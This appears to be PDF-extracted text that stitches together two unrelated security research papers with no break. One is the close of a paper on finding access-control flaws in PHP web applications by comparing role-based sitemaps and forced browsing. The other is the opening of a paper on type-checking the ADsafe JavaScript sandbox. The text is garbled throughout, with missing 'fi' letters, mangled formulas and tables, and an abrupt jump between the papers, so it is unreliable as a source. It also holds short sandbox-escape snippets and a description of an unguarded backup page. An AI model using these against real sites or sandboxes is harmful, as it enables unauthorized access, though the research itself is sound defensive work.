Our tool detected a previously known vulnerabil-
ity (CVE-2010-1066) in “control/db backup.php” which
dumps all the database information onto a web page. The
cause of this access control vulnerability is that “con-
trol/db backup.php” includes “common.php” instead of
“control/common.php”. Since access checks are only
present in “control/common.php” but not “common.php”,
page “control/db backup.php” is not guarded and can be
accessed via forced browsing. Most pages in the “control”
directory are intended for administrators only and our tool
detected 47 privileged nodes in total. Our tool correctly

recognized the access checks in the other 46 privileged
pages and only reported “control/db backup.php” to be
vulnerable. The latest version of AWCM fixed the vulner-
ability, and this is reflected in the analysis result shown
in Table 2. Although this application is AJAX-heavy, our
tool covered nearly 80% of the active nodes, indicating
that a majority of the links appear in PHP and HTML
code which can be well handled with our tool.

6.1.7 YaPiG

YaPiG (Yet Another PHP Image Gallery) validates pass-
words and determines the privilege level of users with an
access check in function check admin login.

An interesting thing about YaPiG is that all the five
unreachable pages result from an uncovered execution
path. In our implementation, we assume that an HTTP
parameter $v could have any values. Therefore, our tool
infers that function call isset($v) returns true even if
v is undefined. When a conditional depends on such a
function call, the false branch is left unexplored. Our im-
plementation does not yet support the specification of an
optional value, which can either be defined or undefined.

6.2 Performance Evaluation
In our evaluation, we collect links that point to files within
an application, excluding those that point to CSS files
which are of no interest to us. Currently, we treat PHP,
HTML and XML files to be active nodes and analyze them
to extract links. A page can contain links to both active
nodes and inactive nodes. Although inactive nodes do not
provide sensitive operations, they may contain sensitive
information and therefore should also be checked.

Table 3 shows the coverage and performance of our
tool. Column “Entry” shows the number of specified en-
try nodes for each application. Column “Active” lists the
number of all active nodes. Column “Orphan” lists the
number of specified orphan nodes which are non-entry
active nodes with no incoming edges. Column “Cover-
age” lists the coverage of our tool on active nodes in an
application, excluding orphan nodes. We list the aver-
age numbers of variables and grammar productions of
all CFGs for each web application. Note that the num-
bers are counted on CFGs that have been simplified with
grammar-reachability analysis. The last column shows
the total analysis time spent for each application in terms
of seconds.

Active nodes may have outgoing edges and may not
have any incoming edges. An active node with no incom-
ing edges can be optionally specified as either an entry
node or an orphan node. When it is specified as an entry
node, it is analyzed in the sitemap construction process
to find outgoing edges; when it is specified as an orphan
node, which indicates that this node should be outside
any sitemaps, it is excluded from the coverage calcula-
tion; when it is unspecified, it may affect the coverage
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Project Nodes Context-Free Grammar Coverage Time (s)
Entry Active Orphan Variables Productions

SCARF 1 19 0 158 719 100.00% 6.02
SCARF (patched) 1 19 0 159 719 100.00% 6.01
Events Lister v2.03 4 23 5 100 2,083 100.00% 3.84
PHP Calendars 3 15 0 48 255 80.00% 5.09
PHPoll v0.97 beta 5 21 6 115 224 100.00% 4.26
PHP iCalendar v1.1 2 52 2 811 4,774 90.38% 760.62
AWCM v2.1 17 208 22 410 422 79.33% 89.48
AWCM v2.2 final 16 209 14 451 484 79.90% 108.51
YaPiG 0.95 7 59 3 332 532 91.53% 208.38

Table 3: Coverage and Performance Results.

Project
Time (s)

Admin Normal Forced
Sitemap Sitemap Browsing

SCARF 3.15 1.70 1.15
Events Lister 2.29 1.00 0.53
PHP Calendars 1.81 1.67 1.61
PHPoll 2.39 1.54 0.33
PHP iCalendar 371.28 370.85 18.46
AWCM 55.36 49.11 3.85
YaPiG 85.59 44.91 77.86

Table 4: Analysis Time.

result. Let Active, Orphan and Reachable denote the sets
of all active nodes, specified orphan nodes and explicitly
reachable nodes respectively. We calculate the coverage
as:

Coverage =
|Reachable|

|Active|− |Orphan|
In our evaluation, we conservatively identify orphan
nodes with a simple manual analysis and the obtained
orphan sets may be incomplete, especially for large and
complex applications. Therefore, the real coverages of our
analysis might be better than the ones shown in the table
because uncovered nodes might indeed be unreachable.

Our static analyzer achieved good coverage of active
nodes: 100% for four applications, about 90% for two,
and about 80% for the remaining three. The total analy-
sis time listed in Table 3 demonstrates that our approach
is scalable. For the smaller test applications SCARF,
Events Lister, PHP Calendars and PHPoll, our tool fin-
ished within seven seconds; for the largest test application
AWCM, our tool took less than two minutes to analyze
the active nodes in the whole application. The analysis
time for iCalendar is the longest because of the inlining of
dynamic PHP files and the complexity of PHP code. As
can be seen in Table 3, the number of grammar produc-

tions for PHP iCalendar is also the largest. We show the
break down of analysis time in Table 4. Columns “Admin
Sitemap” and “Normal Sitemap” list the time spent on
constructing the sitemaps for roles a and b respectively.
Column “Forced Browsing” shows the time spent on de-
tecting access control vulnerabilities via forced brows-
ing. It is obvious from the data in the table that building
sitemaps consumes the majority of the analysis time.

6.3 Discussions
As we mentioned earlier, our prototype did not find all
kinds of links in web applications. The major reason is
that our prototype did not identify all the links generated
by JavaScript code or HTML templates, or those con-
structed with unresolvable string variables. Extracting
links from JavaScript code is especially challenging be-
cause of the dynamic features of the JavaScript language.
Our prototype works better on traditional web applica-
tions than AJAX-heavy ones. Incorporating JavaScript
analysis could possibly improve the coverage. Further-
more, our test applications may not be representative of
general web applications.

What a node represents determines the granularity of
the analysis. Our prototype treats a web page as a node,
but the general approach still applies when the granularity
is refined to functionalities within a page. Performing
the analysis at a refined granularity would be especially
useful for complex web pages which contain multiple
functionalities within a single page. The techniques pro-
posed by Halfond et al. [12] could be used to identify
important parameters in web applications to distinguish
functionalities. Because a privilege is often granted with
a set of atomic database operations, advancing the gran-
ularity to the level of database operations might be too
fine-grained.

Our prototype does not handle all object-oriented fea-
tures in PHP. This prevents us from parsing some PHP
pages in large PHP applications. We leave it as future
work to enhance our static analyzer for additional object-
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oriented features of the PHP language.
The current implementation of the string constraint

solver is rudimentary. For either unsolvable constraints
or non-determinism in a conditional, we conservatively
explore both branches. This might lead to false negatives
when infeasible paths for a less privileged role are ex-
plored. For access checks that involve non-determinism,
such as password-based authentication and CSRF pro-
tection that uses random tokens, we rely on role-based
specifications to determine which execution paths to ex-
plore. Non-determinism affects path explorations but not
link extractions. Furthermore, when Assumption 2 does
not hold, we would also have false negatives introduced
by explicit accesses to privileged nodes.

Our tool generated false positives. Even when access
checks are missing in hidden pages, these pages may not
contain any sensitive information or operations and are
therefore safe to access for any role in the application. We
manually examined the analysis results and marked such
safe pages as false positives.

7 Related Work
In this section, we discuss the most relevant work, includ-
ing specification inference, workflow violation detection,
privilege separation based on user roles, language-based
approaches to secure web applications, and program anal-
ysis for web security.

The capability of automated tools in detecting vulnera-
bilities or bugs can only be as good as the specifications
given to them. Since manually writing specifications is
tedious, time-consuming and error-prone, a wide range
of techniques have been proposed to automatically infer
specifications from the source code of programs. For in-
trusion detection, Wagner and Dean [28] apply static anal-
ysis to derive a model of normal application behavior as an
oracle. Based on the observation that bugs are deviant be-
havior [9], researchers have proposed probabilistic-based
approaches [16, 26] to infer specifications from applica-
tions. However, without taking into account of roles in
web applications, it is difficult to infer privileged pages
which are only intended for a group of users.

Recently, workflow violations have attracted the in-
terests of researchers. Nemesis [7] uses dynamic infor-
mation flow tracking to detect authentication and access
control vulnerabilities in web applications. It requires
developers to specify access control lists for resources.
Similarly, Hallé et al. [13] proposed a runtime enforce-
ment mechanism to only allow navigations that conform
to a state machine model specified by developers. Re-
searchers have proposed various techniques to automat-
ically infer correct workflows. Swaddler [6] first learns
internal states of web applications, and then detects ab-
normal state violations at critical points. Targeting the
detection of Ajax intrusion attacks, Guha et al. [11] lever-
age static analysis on client-side JavaScript code to infer

expected server-side behavior. To detect multi-module
vulnerabilities, MiMoSA [1] takes into account the in-
teractions of different web pages. However, it is not
always easy to distinguish an intended path from an unin-
tended one because of flexible navigation paths that web
applications allow. Its follow-up work Waler [10] uses
a combination of dynamic analysis and symbolic model
checking to first infer invariants from dynamic program
executions, and then report violations of the invariants as
logic vulnerabilities. From a high-level view, the likely
invariants that Waler generates with heuristics are subject
to errors. Furthermore, the inferred invariants may not
always hold due to the limited coverage of dynamic anal-
ysis. Access control vulnerabilities can be considered a
special case of workflow vulnerabilities where cross-role
workflow assumptions are violated. Cross-role compar-
isons allow us to precisely reason about privileged pages
in most cases.

To reduce least-privilege incompatibilities, researchers
distinguish different user roles and separate privileges
based on different roles. Aiming at identifying dependen-
cies on admin privileges in traditional software appli-
cations, Chen et al. [4] run applications without admin
privileges and collect dynamic execution traces. We take
a step further and use roles to represent sets of privileges
in web applications. In our setting, roles form a lattice and
its height is not limited. To reduce developer’s burden on
securing web applications, the CLAMP project [23] pre-
vents leakage of sensitive information by restricting the
flows of user data and isolating the authentication module
of an application. While they also minimize developers’
effort, they secure web applications by modifying appli-
cation code at critical points. Web application vulnerabil-
ity scanners can also automatically detect access control
vulnerabilities. However, they often build shallow and
incomplete sitemaps, missing deep and invisible pages
that are only accessible when valid form data are submit-
ted. This undermines the capabilities of web scanners in
both discovering privileged nodes as well as successfully
performing forced browsing with valid form data.

Previous work has proposed language-based ap-
proaches to secure web applications in a principled way.
SIF [5] accepts specifications either as program annota-
tions at compile time, or as user requirements at run time
to guarantee confidentiality and integrity with informa-
tion flow analysis. Recently, Krishnamurthy et al. [17]
presented an object-capability language for fine-grained
privilege separation for web applications. Unfortunately,
theses language-based approaches do not apply to the
large set of legacy code that is not written in the newly
designed languages.

In the past few years, researchers have focused their
attention on detecting injection vulnerabilities in web ap-
plications with both static analysis [18, 19, 25, 27, 29, 30,
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31, 32] and dynamic analysis [2, 3, 22, 24]. Similar to our
static analyzer, Pixy [14] is also a static analyzer built to
analyze PHP applications. It takes advantage of taint anal-
ysis to detect injection vulnerabilities with specifications
on taint sources and sinks. Its implementation hinders it
from scaling to large applications as Pixy has no support
for include resolution and object-oriented features.

8 Conclusions
Developers should enforce access controls throughout
web applications for every privileged page. This paper
proposes a novel approach to detect access control vul-
nerabilities in web applications with minimal manual ef-
fort. Based on the observation that sitemaps presented
to different roles are not identical, our analysis first au-
tomatically infers the set of privileged pages from the
source code of a web application, and then detects access
control vulnerabilities via forced browsing. We added
support for role-based specification rules, and integrated
constraint-solving capabilities with our static analyzer to
systematically explore program paths. Our tool is able
to achieve good coverage and scale to real-world applica-
tions. The evaluation results demonstrate that it is capable
of detecting both unknown and known access control vul-
nerabilities in unmodified web applications with only a
few lines of specifications. For future work, we plan to
support additional language features of PHP, enhance the
string constraint solver, and scale the analysis to larger
web applications.
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Abstract
Web sites routinely incorporate JavaScript programs
from several sources into a single page. These sources
must be protected from one another, which requires ro-
bust sandboxing. The many entry-points of sandboxes
and the subtleties of JavaScript demand robust verica-
tion of the actual sandbox source. We use a novel type
system for JavaScript to encode and verify sandboxing
properties. The resulting verier is lightweight and ef-
cient, and operates on actual source. We demonstrate the
effectiveness of our technique by applying it to ADsafe,
which revealed several bugs and other weaknesses.

1 Introduction

A mashup Web page displays content and executes
JavaScript from various untrusted sources. Facebook ap-
plications, gadgets on the iGoogle homepage, and vari-
ous embedded maps are the most prominent examples.
By now, mashups have become ubiquitous. Indeed, web
pages that display advertisements from ad networks are
also mashups, because they often employ JavaScript for
animations and interactivity. A survey of popular pages
shows that a large percentage of them include scripts
from a diverse array of external sources [41]. Unfortu-
nately, these third-party scripts run with the same privi-
leges as trusted, rst-party code served directly from the
originating site. Hence, the trusted site is susceptible to
attacks by maliciously crafted third-party software.

This paper addresses language-based Web sandbox-
ing systems, one of several mechanisms for securing
mashups. Most sandboxing mechanisms have similar
high-level goals and designs, which we outline in sec-
tion 2. In section 3, we review the design and implemen-
tation of sandboxes and demonstrate the need for tool-
supported verication. Section 4 provides a detailed plan
for the rest of the paper. Our work makes several contri-
butions:

 � 

Figure 1: Web sandboxing architecture

1. A type system for general JavaScript programs,
with support for patterns found in sandboxing li-
braries;1

2. a formal denition of safety properties for Yahoo!’s
ADsafe sandbox in terms of this type system; and,

3. a type-based verication of the ADsafe framework,
and descriptions of bugs and their xes found while
performing the verication.

2 Language-based Web Sandboxing

The Web browser environment provides references to ob-
jects that implement network access, disk storage, geo-
location, and other capabilities. Legitimate web applica-
tions use them for various reasons, but embedded wid-
gets can exploit them because all JavaScript on a page
runs in the same global environment. A Web sand-
box thus attenuates or prevents access to these capa-
bilities, allowing pages to safely embed untrusted wid-

1See cs.brown.edu/research/plt/dl/adsafety/v1
for our implementation, proofs, and other details.
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gets. ADsafe [9], Caja [33], FBJS [13], and Browser-
Shield [35] are language-based sandboxes that employ
broadly similar security mechanisms, as dened by Maf-
feis, et al. [27]:

• A Web sandbox includes a static code checker that
lters out certain widgets that are almost certainly
unsafe. This checker is run before the widget is de-
livered to the browser.

• A Web sandbox provides runtime wrappers that at-
tenuate access to the DOM and other capabilities.
These wrappers are dened in a trusted runtime li-
brary that is linked with the untrusted widget.

• Static checks are necessarily conservative and can
reject benign programs. Web sandboxes thus spec-
ify how potentially-unsafe programs are rewritten
to use dynamic safety checks.

This architecture is illustrated in gure 1, where an un-
trusted widget from adnet.com is embedded in a page
from paper.com. The untrusted widget is ltered by
the static checker. If static checking passes, the widget is
rewritten to invoke the runtime library. Both the runtime
library and the checked, rewritten widget must be hosted
on a site trusted by paper.com, and are assumed to be
free of tampering.

Reference Monitors A Web sandbox implements a
reference monitor between the untrusted widget and the
browser’s capabilities. Anderson’s seminal work on ref-
erence monitors identies their certication demands [3,
p 10-11]:

The proof of [a reference monitor’s] model se-
curity requires a verication that the modeled
reference validation mechanism is tamper re-
sistant, is always invoked, and cannot be cir-
cumvented.

Therefore, a Web sandbox must come with a precisely
stated notion of security, and a proof that its static checks
and runtime library correctly maintain security. The end
result should be a quantied claim of safety over all pos-
sible widgets that execute against the runtime library.

3 Code-Reviewing Web Sandboxes

Imagine we are confronted with a Web sandbox and
asked to ascertain its quality. One technique we might
employ is a code-review. Therefore, we perform an
imaginary review of a Web sandbox, focusing on the de-
tails of ADsafe. Later, we will discuss how to (mostly)
remove people from the loop.
ADsafe, like all Web sandboxes, consists of two inter-

dependent components:

• a static verier, called JSLint,2 which lters out
widgets not in a safe subset of JavaScript, and

• a runtime library, adsafe.js, which implements
DOM wrappers and other runtime checks.

These conspire to make it safe to embed untrusted wid-
gets, though “safe” is not precisely dened. We will re-
turn to the denition of safety in section 4.

Attenuated Capabilities Widgets should not be able
to directly reference various capabilities in the browser
environment. Direct DOM references are particularly
dangerous because, from an arbitrary DOM reference,
elt, a widget can simply traverse the object graph and
obtain references to all capabilities:

var myWindow = elt.ownerDocument.defaultView;
myWindow.XMLHttpRequest;
myWindow.localStorage;
myWindow.geolocation;

Widgets therefore manipulate wrapped DOM elements
instead of direct references. DOM wrappers form the bulk
of the runtime library and include many dynamic checks
and patterns that need to be veried:

• The runtime manipulates DOM references, but re-
turns them to the widget in wrappers. We must ver-
ify that all returned values are in fact wrapped, and
that the runtime cannot be tricked into returning a
direct DOM reference.

• The runtime calls DOM methods on behalf of the
widget. Many methods, such as appendChild and
removeChild, require direct DOM references as ar-
guments. We must verify that the runtime cannot be
tricked with a maliciously crafted object that mim-
ics the DOM interface and steals references.

• The runtime attaches DOM callbacks on behalf of
the widget. These callbacks are invoked by the
browser with event arguments that include direct
DOM references. We must verify that the runtime
appropriately wraps calls to untrusted callbacks in
the widget.

• The widget has access to a DOM subtree that it is
allowed to manipulate. The runtime ensures that
the widget only manipulates elements in this sub-
tree. We must verify that various DOM traversal
methods, such as document.getElementById and
Element.getParent, do not allow the widget obtain
wrappers to elements outside its subtree.

• The runtime wraps many DOM functions that
are only conditionally safe. For example,
document.createElement is usually safe, unless it

2JSLint can perform other checks that are not related to ADsafe. In
this paper, “JSLint” refers to JSLint with ADsafe checks enabled.
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is used to create a <script> tag, which can load ar-
bitrary code. Similarly, the runtime may allow wid-
gets to set CSS styles, but a CSS URL-value can also
load external code. We must verify that the argu-
ments supplied to these DOM functions are safe.

ADsafe’s DOM wrappers are called Bunches, which wrap
collections of HTML elements. There are twenty Bunch-
manipulating functions that are exposed to the widget—
in addition to several private helper functions—that face
all the issues enumerated above and need to be veried.
These functions cannot be veried in isolation, because
their correctness is dependent on assumptions about the
kinds of values they receive from widgets. These as-
sumptions are discharged by the static checks in JSLint
and other runtime checks to avoid loopholes and com-
plexities in JavaScript’s semantics.

JavaScript Semantics A Web sandbox must contend
with JavaScript features that hinder security:

• Certain JavaScript features are unsafe to use in wid-
gets. For example, a widget can use this to obtain
window, so it is rejected by JSLint:
f = function() { return this; };
var myWindow = f();

We must verify that the subset of JavaScript admit-
ted by the static checker does not violate the as-
sumptions of the runtime library.

• Many JavaScript operators and functions include
implicit type conversions and method calls that are
difcult to reason about. For example, when an op-
erator expects a string but is instead given an object,
it does not signal an error. Instead, it calls the ob-
ject’s toString method. It is easy to write a stateful
toString method that returns different strings on
different calls. Such an object can then circumvent
dynamic safety checks that are not carefully writ-
ten to avoid triggering implicit method calls. These
implicit calls are avoided by carefully testing the
runtime types of untrusted values, using the typeof

operator. Such tests are pervasive in ADsafe. As a
further precaution, ADsafe tries to ensure that wid-
gets cannot dene toString and valueOf elds in
objects.

JavaScript Encapsulation JavaScript objects have no
notion of private elds. If object operations are not re-
stricted, a widget could access built-in prototypes (via
the __proto__ eld) and modify the behavior of the con-
tainer. Web sandboxes statically reject such expressions:
obj.__proto__;

There are various other dangerous elds that are also
blacklisted and hence rejected by sandboxes. However,

ADSAFE : ADSAFE.get(obj,name)
dojox.secure : get(obj,name)
Caja : $v.r($v.ro('obj'),$v.ro('name'))
WebSandbox : c(d.obj,d.name)
FBJS : a12345 obj[$FBJS.idx(name)]

Figure 2: Similar Rewritings for obj[name]

syntactic checks alone cannot determine whether com-
puted eld names are unsafe:
obj["__pro" + "to__"];

Widgets are instead rewritten to use runtime checks that
restrict access to these elds. Figure 2 shows the rewrites
employed by various sandboxes. Some sandboxes insert
these and other checks automatically, giving the illusion
of programming in ordinary JavaScript; ADsafe is more
spartan, requiring widget authors to insert the dynamic
checks themselves; but the principle remains the same.

Web sandboxes also simulate private elds with this
method by introducing elds and then preventing wid-
gets from accessing them. For example, ADsafe stores
direct DOM references in the __nodes__ eld of Bunches,
and blacklists the __nodes__ eld.

The Reviewability of Web Sandboxes
We have highlighted a plethora of issues that a Web
sandbox must address, with examples from ADsafe. Al-
though ADsafe’s source follows JavaScript “best prac-
tices,” the sheer number of checks and abstractions make
it difcult to review. There are approximately 50 calls to
three kinds of runtime assertions, 40 type-tests, 5 regular-
expression based checks, and 60 DOM method calls in
the 1, 800 LOC adsafe.js library. Various ADsafe bugs
were found in the past and this paper presents a few more
(section 9). Note that ADsafe is a small Web sandbox
relative to larger systems like Caja.

The Caja project asked an external review team to per-
form a code review [4]. The ndings describe many low-
level details that are similar to those we discussed above.
In addition, two higher-level concerns stand out:

• “[Caja is] hard to review. No map states invariants
and points to where they are enforced, which hurts
maintainability and security.”

• “Documentation of TCB is necessary for reviewa-
bility and condence.”

These remarks identify an overarching requirement for
any review: the need for specications so that readers can
both determine whether these t their needs and check
whether these are implemented correctly.

3
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4 Verifying a Sandbox: Our Roadmap

Dening Safety Because humans are expensive and
error-prone, and because the code review needs to be re-
peated every time the program changes, it is best to au-
tomate the review process. However, before we begin
automating anything, we need some denition of what
security means. We focus on a denition that is spe-
cic to ADsafe, though the properties are similar to the
goals of other web sandboxes. From correspondence
with ADsafe’s author, we initially obtained the follow-
ing list of intended properties (rewritten slightly to use
the terminology of this paper).

Denition 1 (ADsafety) If the containing page does not
augment built-in prototypes, and all embedded widgets
pass JSLint, then:
1. widgets cannot load new code at runtime, or cause

ADsafe to load new code on their behalf;
2. widgets cannot affect the DOM outside of their des-

ignated subtree;
3. widgets cannot obtain direct references to DOM

nodes; and
4. multiple widgets on the same page cannot commu-

nicate.

Note that the rst two properties are common to sand-
boxes in general—allowing arbitrary JavaScript to load
at runtime compromises all sandboxes’ security goals,
and all sandboxes provide mediated access to the DOM
by preventing direct access.

We also note that the assumption about built-in pro-
totypes is often violated in practice [14]. Nevertheless,
like ADsafe, we make this assumption; mitigating it is
outside our scope. Given this denition, our goal is to
produce a (mostly) automated verication that supports
these properties.

Verifying Safety In this paper we perform this automa-
tion using static types, presenting a type-based approach
for dening and verifying the invariants of ADsafe.
While one could build a custom tool to do this, we are
able to perform our verication by extending (as dis-
cussed in section 11) a type checker [18] intended for
traditional type-checking of JavaScript.

We choose a static type system as our tool of choice
for several reasons. Programmers are familiar with type
systems, and ours is mostly standard (we discuss non-
standard features in sections 5 and 7). This lessens the
burden on sandbox developers who need to understand
what the verication is saying about their code. Sec-
ond, our type system is much more efcient than most
whole-program analyses or model checkers, leading to a
quick procedure for checking ADsafe’s runtime library

(20 seconds). Efcency and understandability allow for
incremental use in a tight development loop. Finally, our
type system is accompanied by a soundness proof. This
property accomplishes the actual verication. Thus, the
features of comprehensibility, efciency, and soundness
combine to make type checking an effective tool for ver-
ifying some of the properties of web sandboxes.

In order to demonstrate the effectiveness of our type-
based verication approach, we use type-based argu-
ments to prove ADsafety. We mostly achieve this (sec-
tion 8) after xing bugs exposed by our type checker
(section 9). The rest of this paper presents a typed ac-
count of untrusted widgets and the ADsafe runtime.

• The ADsafety claim is predicated on widgets pass-
ing the JSLint checker. Therefore, we need to model
JSLint’s restrictions. We do this in section 5.

• Once we know what we can expect from JSLint,
we can verify the actual reference monitor code in
adsafe.js using type-checking (section 7).

• Before we can verify adsafe.js, we need to ac-
count for the details of JavaScript source and model
the browser environment in which this code runs.
Section 6 presents this additional work.

We discuss extensions to verify other Web sandboxes in
section 10.

5 Modeling Secure Sublanguages

All web sandboxes’ runtime libraries expect to exe-
cute against widgets that have been statically checked
and rewritten, as shown in gure 1. These checks and
rewrites enforce that widgets are written in a sublan-
guage of JavaScript. This sublanguage ought to be spec-
ied explicitly. We focus here on modeling the checks
performed by JSLint, ADsafe’s static checker, which
presents an interesting challenge: there is no formal
specication of the language of JavaScript programs that
pass JSLint. Instead, the specication is implicit in the
implementation of JSLint itself. In this section, we de-
sign a specication for JSLint-ed widgets and give con-
dence in its correctness.3

Only a fraction of JSLint’s static checks are related
to ADsafe. The rest are lint-like code-quality checks.
JSLint also checks the static HTML of a widget. Verifying
this static HTML is beyond the scope of our work; we do
not discuss it further. We instead focus on the security-
critical static JavaScript checks in JSLint.

3Because we want a strategy that extends to other sandboxes, we
do not try to exploit the fact that JSLint is written in JavaScript. The
Cajoler of Caja is instead written in Java, and the lters and rewriters
for other sandboxes might be written in other languages. The strategy
we outline here avoids both getting bogged down in the details of all
these languages as well as over-reliance on JavaScript itself.
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α := type identiers
T := Num | Str | True | False | Undef | Null

| Ref T | ∀α.T | μα.T
| [T ]T × . . .× T × T · · · → T

| � | ⊥ | T ∪ T | T ∩ T |Array�T�
| {� : F, proto : T, code : T, f : F, . . .}
| (f, . . .)+ | (f, . . .)−

F := T | | Absent

Figure 3: Type Language for ADsafe and Widgets

How is JSLint used? The ADsafe runtime makes sev-
eral assumptions about the shape of values it receives
from widgets. These assumptions are not documented
precisely, but they correspond to various static checks
in JSLint. To model JSLint, we reect these checks in
a type, called Widget, which we dene below. In sec-
tion 5.2 we discuss how this type relates to the behavior
of the JSLint implementation.

5.1 Dening Widget

We expect that all variables and sub-expressions of wid-
gets are typable as Widget. The ADsafe runtime can thus
assume that widgets only manipulate Widget-typed val-
ues. Our full type language is shown in gure 3 and in-
troduced gradually in the rest of this section.

Primitives JSLint admits JavaScript’s primitive val-
ues, with trivial types:

Prim = Num ∪ Str ∪ True ∪ False
∪Null ∪ Undef

We have separate types for True and False because they
are necessary to type-check adsafe.js (section 7). Prim
is an untagged union type, and our type system ac-
counts for common JavaScript patterns for discriminat-
ing unions. We might initially assume that

Widget = Prim

Objects and Blacklisted Fields JSLint admits object
literals but blacklists certain eld names as dangerous.
All other elds are allowed to contain widget values. We
therefore augment theWidget type to include objects. An
object type explicitly lists the names and types of various
elds in an object. In addition, the special eld � speci-

es the type of all other elds:

Widget = μα.Prim∪ Ref

⎧
⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎨
⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎩

� : α,

"arguments" : ,

"caller" : ,

"callee" : ,

"eval" : ,

. . .

"toString" : Absent,
"valueOf" : Absent

⎫
⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎬
⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎭

The full list of blacklisted elds is in gure 4. Our type
checker signals a type error on any -typed eld ac-
cess or assignment. This mirrors the behavior of JSLint,
which also rejects eld accesses and assignments on
blacklisted elds (e.g., o["constructor"] is rejected by
both the type checker and JSLint).

The Ref tag indicates that the object is mutable. We
use a recursive type (μ) to indicate that all other elds,
�, may recursively contain Widget-typed values.4 JSLint
tries to ensure that objects in widgets do not have
toString and valueOf properties. We model this with
a type Absent, which ensures these elds are not present.
Absent and properties are subtly different. mod-

els elds that are intended to be inaccessible, and hence
looking them up is untypable. In contrast, the typing rule
for Absent eld lookup performs the lookup with the type
of the proto eld, which we introduce below. Section 7.1
contains the details of type-checking eld access.

Functions Widgets can create and apply functions, so
we must widen our Widget type to admit them. Func-
tions in JavaScript are objects with an internal code eld,
which we add to allowed objects:

. . .Ref

⎧
⎨
⎩

code : [Global ∪ α]α · · · → α,

� : α,
. . .

⎫
⎬
⎭

The type of the code eld indicates that widget-functions
may have an arbitrary number of Widget-typed argu-
ments and return Widget-typed results.5 It also speci-
es that the type of the implicit this-argument (written
inside brackets) may be either Widget or Global. The
type Global is not a subtype of Widget, which expresses
the underlying reason for JSLint’s rejection of all wid-
gets that contain this (see Claim 1 below). If the this-
annotation is omitted, the type of this is �.

Prototypes JSLint does not allow widgets to explic-
itly manipulate objects’ prototypes. However, since eld

4μα.T binds the type variable α in the type T to the whole type,
μα.T . Therefore, α is in fact the type Widget.

5The α · · · syntax is a literal part of the type, and means the func-
tion can be applied to any number of additional α-typed arguments.

5
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lookup in JavaScript implicitly accesses the prototypes,
we specify the type of prototypes in Widget:

. . .Ref

⎧
⎨
⎩

proto : Object ∪ Function ∪ . . . ,

� : α,
. . .

⎫
⎬
⎭

The proto eld enumerates several safe prototypes, but
notably omits DOM prototypes such as HTMLElement,
since widgets should not obtain direct references to the
DOM.

Typing Private Fields In addition to explicitly black-
listed eld names, JSLint also blacklists all eld names
that start and end with an underscore. This effectively
blacklists the __proto__ eld, which gives direct access
to the prototype-chain, and the __nodes__ and __star__

elds, which adsafe.js uses internally to build the
Bunch abstraction. To keep our types simple, we enu-
merate these three elds instead of pattern-matching on
eld names:

. . .Ref

⎧⎪⎪⎪⎪⎨
⎪⎪⎪⎪⎩

"___nodes___" :Array�HTML�∪Undef,
"__proto__" : ,

"___star___" : Bool ∪ Undef,
� : α,
. . .

⎫⎪⎪⎪⎪⎬
⎪⎪⎪⎪⎭

The __proto__ eld is -typed, like other blacklisted
elds that are never used. However, the ADsafe run-
time uses __nodes__ and __star__ as private elds. The
types specify that ADsafe stores DOM references in the
__nodes__ eld.

The full Widget type in gure 4 is a formal specica-
tion of the shape of values that adsafe.js receives from
and sends to widgets. This type is central to our verica-
tion of adsafe.js and of JSLint.

5.2 Widget and JSLint Correspondence
Though we have offered intuitive arguments for why
Widget corresponds to the checks in JSLint, we would
like to gain condence in its correspondence with the be-
havior of the actual JSLint program that sites use:

Claim 1 (Linted Widgets Are Typable) If JSLint (with
ADsafe checks) accepts a widget e, then e and all of its
variables and sub-expressions can beWidget-typed.

We validate this claim by testing. We use ADsafe’s sam-
ple widgets as positive tests—widgets that should be ty-
pable and lintable—and our own suite of negative test
cases (widgets that should be untypable and unlintable).
Note the direction of the implication: an unlintable wid-
get may still be typable, since our type checker admits

Widget = μα.

Str ∪ Num ∪ Null ∪ Bool ∪ Undef ∪

Ref

⎧
⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎨
⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎩

proto :
Object ∪ Function
∪Bunch ∪ Array ∪ RegExp
∪String ∪ Number ∪ Boolean,

� : α,
code : [Global ∪ α]α · · · → α,

"___nodes___" :Array�HTML�∪Undef,
"___star___" : Bool ∪ Undef,
"caller" : , "callee" : ,

"eval" : , "prototype" : ,

"watch" : , "constructor" : ,

"__proto__" : , "unwatch" : ,

"arguments" : , "valueOf" : Absent,
"toString" : Absent

⎫
⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎬
⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎭

Figure 4: The Widget type

safe widgets that JSLint rejects.6 The type checker could
be used as a replacement for JSLint’s ADsafe checks, but
these tests give us condence that checking the Widget
type corresponds to what JSLint admits in practice.

6 Modeling JavaScript and the Browser

Verication of a Web sandbox must account for the id-
iosyncrasies of JavaScript. It also needs to model the run-
time environment—provided by the browser—in which
the sandboxed code will execute. Here we discuss how
we model the language and the browser.

JavaScript Semantics We use the semantics of Guha,
et al. [17], which reduces JavaScript to a core semantics
called λJS . This latter language models the “essentials”
of JavaScript: prototype-based objects, rst-class func-
tions, basic control operators, and mutation.
λJS thus omits many of JavaScript’s complexities, but

it is accompanied by a desugaring function that maps all
JavaScript programs (idiosyncrasies included) to behav-
iorally equivalent λJS programs. The transformation ex-
plicates much of JavaScript’s implicit semantics. Hence,
we nd it easier to build tools that analyze the much
smaller λJS language than to directly process JavaScript.

Does desugaring faithfully map JavaScript to λJS?
Guha, et al. test their desugaring and semantics on por-
tions of the Mozilla JavaScript test suite. On these
tests, λJS programs produce exactly the same output as
JavaScript implementations. Hence, their work substan-
tiates the following two claims.

6The supplemental material contains examples of the differences.
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{

eval: ,
setTimeout: (Widget→Widget)×Widget→ Int,
document: {

write: ,

writeln: ,
. . .

},
. . .

}

Figure 5: A Fragment of the Type of window

Claim 2 (Desugaring is Total) For all JavaScript pro-
grams e, desugar�e� is dened.

Claim 3 (Desugar Commutes with Eval) For all
JavaScript programs e, desugar�evalJavaScript(e)� =
evalλJS(desugar�e�).

This testing strategy, and the simplicity of implementa-
